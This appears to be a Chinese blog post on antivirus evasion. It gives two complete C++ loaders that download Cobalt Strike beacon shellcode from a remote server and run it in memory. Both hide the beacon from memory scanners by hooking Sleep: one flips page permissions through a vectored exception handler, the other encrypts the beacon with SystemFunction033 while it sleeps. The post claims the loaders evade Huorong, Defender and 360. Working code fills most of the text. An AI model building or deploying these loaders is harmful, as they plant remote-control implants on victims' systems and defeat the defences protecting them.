免杀-异常处理_内存波动修改
3x1 远程分段加载shellcode+windows异常处理
windows异常处理机制利用原理的文章:https://forum.butian.net/share/783
异常处理的个人简单理解:
我们在上线cs后,cs是默认设置了60秒睡眠的,也就是心跳包机制,这10秒内我们的代码将会被sleep阻塞,60秒后执行命令再次进入睡眠;而我们的代码则可以去sleep函数进行hook,在cs上线后在sleep的时间内把内存改为rw属性,这时候这段时间则可以逃过杀软的内存扫描,(因为一般杀软对rwx属性的可执行权限的内存扫描的比较严格)。但是我们rw属性的内存是没办法执行shellcode的,这就有了下面的windows异常处理的机制,通过AddVectoredExceptionHandler函数去添加一个异常处理函数 ,当代码走到sleep后rw属性的内存时,shellcode没执行权限所以报错0x0005,我们就可以通过异常处理函数 把内存改为可执行,执行完之后继续执行我们的hooksleep修改rw属性,如此反复
代码执行顺序逻辑:
主要是通过window的事件hEvent在触发。
- 在main函数创建了一个初始是无信号的事件hEvent;
- 还有一个线程Beacon_set_Memory_attributes负责一直循环接收信号,一收到信号就把属性改为rw并继续把设为无信号,等待信号;
- hook sleep,我们的sleep函数负责触发事件hEvent后就进入睡眠,sleep是cs自动调用的,可以在cs里面设置sleep时间
- 总结:cs上线后调用sleep函数触发事件hEvent,修改内存为rw属性并睡眠,睡眠完执行shellcode发现内存异常,触发我们添加的异常函数把内存修改为rwx,执行完命令后cs继续sleep,sleep60秒内又触发事件hEvent,内存又变成rw,这样循环
调试版代码
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include "detours.h"
#include "detver.h"
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
LPVOID shellcode_addr;
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大小:%d", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep时间:%d\n", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
void Hook()
{
DetourRestoreAfterWith(); //避免重复HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread());
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}
void UnHook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourTransactionCommit();
}
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
unsigned char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址符合:%llx\n", Exception_addr);
return true;
}
printf("地址不符合:%llx\n", Exception_addr);
return false;
}
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
{
printf("恢复Beacon内存属性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
//这段代码的目的是等待事件 hEvent 被触发,然后修改 Beacon_address 指向的内存区域的保护属性,使其变为可写
{
printf("Beacon_set_Memory_attributes启动\n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE);
printf("设置Beacon内存属性不可执行\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
ResetEvent(hEvent);
}
return 0;
}
DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {
DWORD oldp = 0;
//BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr,0,400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
int main(int argc, char** argv) {
// Validate the parameters
/* if (argc != 4) {
printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
return 1;
}*/
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5003";
char* Resource = "beacon64.bin";
hEvent = CreateEvent(NULL, TRUE, false, NULL);
PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
if (temp == NULL)
{
printf("AddVectoredExceptionHandler调用失败");
getchar();
return 0;
}
Hook();
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
CloseHandle(hThread1);
//getShellcode_Run(argv[1], argv[2], argv[3]);
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
((void(*)())shellcode_addr)();
return 0;
}
火绒动静态免杀,defender静态免杀,360动静态免杀
3x2 内存权限的波动修改(shellcodefluctuation)
前言
无意间看到一个思路https://github.com/mgeeky/ShellcodeFluctuation,而后找到麦当师傅的博客https://maidang.cool/2022/26991.html#Stager,这里结合自己个人的理解记一篇笔记
整体思路理解
内存查杀时杀软一直会扫描进程中的危险区域,如rx,rwx等有执行属性的内存区域,而我们cs上线后会自动sleep,也就是心跳包机制(和前面的异常处理相似,其实个人感觉这两种思路的本质是一样的,都是让内存权限在可执行和不可执行之间反复横跳)。shellcodefluctuation利用核心思路的就是去hooksleep函数,这里我们先看到hook后sleep的代码
void HookSleep()
{
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
UnHookSleep();
if (!memoryInfo.isScanMemory)
ScanMemoryMap();
printf("XOR32 key: %X\n", memoryInfo.key);
EncryptDecrypt();
printf("===> MySleep(%d)\n\n", dwMilliseconds);
Sleep(dwMilliseconds);
EncryptDecrypt();
HookSleep();
}
- 先脱钩
UnHookSleep();
,为了让后面的Sleep(dwMilliseconds);
执行睡眠; ScanMemoryMap();
为了定位本进程内rwx属性的内存位置,也就是我们beacon的内存位置EncryptDecrypt();
先把这块beacon的内存区域加密并且修改为rw,可以使用任何加密Sleep(dwMilliseconds);
接着加密后beacon内存进入sleep,这时候便可以躲避内存扫描EncryptDecrypt();
在sleep结束后解密并且把执行权限修改为rwx,并执行我们的cs操作HookSleep();
最后把sleephook回去,在cs执行完命令后再次sleep又会重复以上循环
总结:所以这里还是利用cs的sleep机制,通过hooksleep执行加密修改内存属性等操作,也是因为cs会反复调用sleep,所以我们可以反复翻转beacon内存属性
各个函数理解
ScanMemoryMap函数
- 定义好接收内存信息的两个结构体
OpenProcess
打开进程后VirtualQueryEx
检索指定进程的虚拟地址空间中的页范围的信息并存储在msi结构体里- 检索到的mbi结构体信息的BaseAddress和size都赋值到我们定义的结构体里面可供后面函数使用
- 最后索引值自增,并且索引值大于3即跳出循环,因为在本进程里应该最多只有三块可执行的内存页
这里借用麦当师傅的一张图,下图是stager分阶段的执行过程,可以看到申请了三块内存,stagerless不需要额外下载加密的payload,直接加载payload,所以则是两块内存
stage 流程
- 申请一个块儿内存(allocate memory)
- 复制Stager去这一块儿内存里
- 创建一个线程,运行这个Stager
- 这个Stager会再次申请一块儿内存(allocate memory)
- Stager去下载加密的payload,写入申请的内存中
- Stager把执行流程转递给这个加密的payload
- 加密的payload自解密成Reflective DLL
- 然后把执行流程传递给Reflective DLL
- Reflective DLL 申请一个块儿内存(allocate memory)
- 然后初始化自己在新的内存里面
- 最后reflective DLL 调用payload的入口点函数
// 定义内存页属性结构体
typedef struct {
LPVOID address; // 内存地址
DWORD size; // 内存大小
}MemoryAttrib;
// 定义内存信息结构体
typedef struct {
MemoryAttrib memoryPage[3]; // 最多存储3个内存页属性
int index; // 内存下标
int key; // 加解密key
BOOL isScanMemory; // 是否已查找内存页信息
BOOL isEncrypt; // 是否已加密
}MemoryInfo;
MemoryInfo memoryInfo;
// 查找内存页
void ScanMemoryMap()
{
// 内存块信息结构体
MEMORY_BASIC_INFORMATION mbi;
LPVOID lpAddress = 0;
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());
int* index = &memoryInfo.index;
while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
{
// 查找可读可写可执行内存页
if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)
{
// 保存内存信息
memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
printf("BaseAddr = %p\n", memoryInfo.memoryPage[*index].address);
(*index)++;
if ((*index) >= 3)
break;
}
// 更新到下一个内存页
lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
// 更新为已扫描内存
memoryInfo.isScanMemory = TRUE;
/* *
* memoryInfo.index = 2 使用了Stageless Beacon
* memoryInfo.index = 3 使用了Stage Beacon
* */
// 释放shellcode内存页
VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);
printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}
EncryptDecrypt函数
- 拿到beacon真正的地址对其进行加密,这里的加密方法是可以替换的
- 然后判断进入函数时这块内存是加密过还是未加密的,加密则修改为rw属性,因为加密后我们自然是sleep阶段所以属性也应该是rw,未加密则修改为rwx属性,
- 这里因为加解密都是使用这个函数,所以通过判断是否加密来修改属性即可
void EncryptDecrypt()
{
// 定位到真正的Beacon内存页
MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
DWORD bufSize = Beacon.size;
unsigned int* buffer = (unsigned int*)(Beacon.address);
int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;
// 对Beacon进行加密或解密
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
char str_key[] = "132abc";
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof(str_key);
scdata.Buffer = (PUCHAR)buffer;
scdata.Length = bufSizeRounded;
SystemFunction033(&scdata, &key);
DWORD oldProt;
memoryInfo.isEncrypt = !memoryInfo.isEncrypt;
// 已加密
if (memoryInfo.isEncrypt == TRUE)
{
// 将内存页设置为可读可写
VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
printf("[>] Flipped to RW.\n");
}
// 未加密
if (memoryInfo.isEncrypt == FALSE)
{
// 将内存页设置为可读可写可执行
VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
memoryInfo.key = rand(); // 更新密钥
printf("[<] Flipped back to RX/RWX.\n");
}
printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}
最终代码
加上了远程分段加载
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"
#include <iostream>
#pragma comment(lib, "ntdll")
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
//#ifdef _WIN64
//#pragma comment(lib,"detours.x64.lib")
//#else
//#pragma comment(lib,"detours.x86.lib")
//#endif
#define DEFAULT_BUFLEN 4096
// 定义内存页属性结构体
typedef struct {
LPVOID address; // 内存地址
DWORD size; // 内存大小
}MemoryAttrib;
// 定义内存信息结构体
typedef struct {
MemoryAttrib memoryPage[3]; // 最多存储3个内存页属性
int index; // 内存下标
int key; // 加解密key
BOOL isScanMemory; // 是否已查找内存页信息
BOOL isEncrypt; // 是否已加密
}MemoryInfo;
MemoryInfo memoryInfo;
// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
DWORD oldp = 0;
//BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr, 0, 400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
// 查找内存页
void ScanMemoryMap()
{
// 内存块信息结构体
MEMORY_BASIC_INFORMATION mbi;
LPVOID lpAddress = 0;
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());
int* index = &memoryInfo.index;
while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
{
// 查找可读可写可执行内存页
if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)//私有内存(MEM_PRIVATE)
{
// 保存内存信息
memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
//printf("memoryInfo.BaseAddr = %p address = %p\n", memoryInfo.memoryPage[*index].address, mbi.BaseAddress);
(*index)++;
if ((*index) >= 3)
break;
}
// 更新到下一个内存页
lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
// 更新为已扫描内存
memoryInfo.isScanMemory = TRUE;
/* *
* memoryInfo.index = 2 使用了Stageless Beacon
* memoryInfo.index = 3 使用了Stage Beacon
* */
// 释放shellcode内存页
VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);
printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring* memoryRegion,
struct ustring* keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
// 加解密Beacon
void EncryptDecrypt()
{
// 定位到真正的Beacon内存页
MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
DWORD bufSize = Beacon.size;
unsigned int* buffer = (unsigned int*)(Beacon.address);
int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;
// 对Beacon进行加密或解密
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
char str_key[] = "132abc";
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof(str_key);
scdata.Buffer = (PUCHAR)buffer;
scdata.Length = bufSizeRounded;
SystemFunction033(&scdata, &key);
DWORD oldProt;
memoryInfo.isEncrypt = !memoryInfo.isEncrypt;
// 已加密
if (memoryInfo.isEncrypt == TRUE)
{
// 将内存页设置为可读可写
VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
printf("[>] Flipped to RW.\n");
}
// 未加密
if (memoryInfo.isEncrypt == FALSE)
{
// 将内存页设置为可读可写可执行
VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
memoryInfo.key = rand(); // 更新密钥
printf("[<] Flipped back to RX/RWX.\n");
}
printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}
// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
UnHookSleep();
if (!memoryInfo.isScanMemory)
ScanMemoryMap();
printf("XOR32 key: %X\n", memoryInfo.key);
EncryptDecrypt();
printf("===> MySleep(%d)\n\n", dwMilliseconds);
Sleep(dwMilliseconds);
EncryptDecrypt();
HookSleep();
}
// 挂钩
void HookSleep()
{
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 初始化内存页信息
void InitMemoryInfo()
{
srand(time(NULL));
memoryInfo.index = 0;
memoryInfo.isScanMemory = FALSE;
memoryInfo.isEncrypt = FALSE;
memoryInfo.key = rand(); // 随机key
}
int main(int argc, char** argv)
{
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5003";
char* Resource = "bea.bin";
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
if (!lpAddress) return 0;
memcpy(lpAddress, recvbuf_ptr, recvbuf_size);
DWORD oldProtect;
VirtualProtect(lpAddress, recvbuf_size, PAGE_EXECUTE, &oldProtect);
InitMemoryInfo();
HookSleep();
(*(int(*)()) lpAddress)();
}